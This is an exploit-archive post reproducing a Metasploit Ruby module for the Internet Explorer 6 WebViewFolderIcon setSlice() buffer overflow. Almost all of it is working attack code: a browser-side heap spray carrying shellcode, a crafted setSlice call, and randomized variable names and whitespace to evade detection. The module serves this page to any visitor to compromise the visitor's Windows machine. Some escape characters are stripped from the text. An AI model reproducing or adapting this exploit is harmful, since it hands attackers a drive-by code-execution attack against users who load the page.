MSIE WebViewFolderIcon Buffer Overflow Vuln.

darkking · September 28, 2006

Vulnerable: Microsoft Internet Explorer 6.0 SP1

Microsoft Internet Explorer 6.0


require 'msf/core'

module Msf

class Exploits::Windows::Browser::WebView_SetSlice < Msf::Exploit::Remote

include Exploit::Remote::HttpServer::Html

def initialize(info = {})
super(update_info(info,
'Name'           => 'Internet Explorer WebViewFolderIcon setSlice() Overflow',
'Description'    => %q{
This module exploits a flaw in the WebViewFolderIcon ActiveX control
included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
during the Month of Browser Bugs project (MoBB #18).
},
'License'        => MSF_LICENSE,
'Author'         => 
[ 
'hdm', 
],
'Version'        => '$Revision: 3783 $',
'References'     => 
[
[ 'OSVDB', '27110' ],
[ 'BID', '19030' ],
[ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ]
],
'Payload'        =>
{
'Space'          => 1024,
'BadChars'       => "x00",

},
'Platform'       => 'win',
'Targets'        =>
[
['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
],
'DefaultTarget'  => 0))
end

def autofilter
false
end

def on_request_uri(cli, request)

# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Get a unicode friendly version of the return address
addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

# Randomize the javascript variable names
var_buffer    = Rex::Text.rand_text_alpha(rand(30)+2)
var_shellcode = Rex::Text.rand_text_alpha(rand(30)+2)
var_unescape  = Rex::Text.rand_text_alpha(rand(30)+2)
var_x         = Rex::Text.rand_text_alpha(rand(30)+2)
var_i         = Rex::Text.rand_text_alpha(rand(30)+2)
var_tic       = Rex::Text.rand_text_alpha(rand(30)+2)
var_toc       = Rex::Text.rand_text_alpha(rand(30)+2)

# Randomize HTML data
html          = Rex::Text.rand_text_alpha(rand(30)+2)

# Build out the message
content = %Q|
<html>
<head>
<script>
try {

var #{var_unescape}  = unescape ;
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;

var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ;

var #{var_x} = new Array() ;
for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) {
#{var_x}[ #{var_i} ] = 
#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + 
#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + 
#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
}


   for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) {
var #{var_tic} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' );
try { #{var_tic}.setSlice( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }
var #{var_toc} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' );
}

} catch( e ) { window.location = 'about:blank' ; }

</script>
</head>
<body>
#{html}
</body>
</html>
|

# Randomize the whitespace in the document
content.gsub!(/s+/) do |s|
len = rand(100)+2
set = "x09x20x0dx0a"
buf = ''

while (buf.length < len)
buf << set[rand(set.length)].chr
end

buf
end

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response(cli, content)
end

end

end

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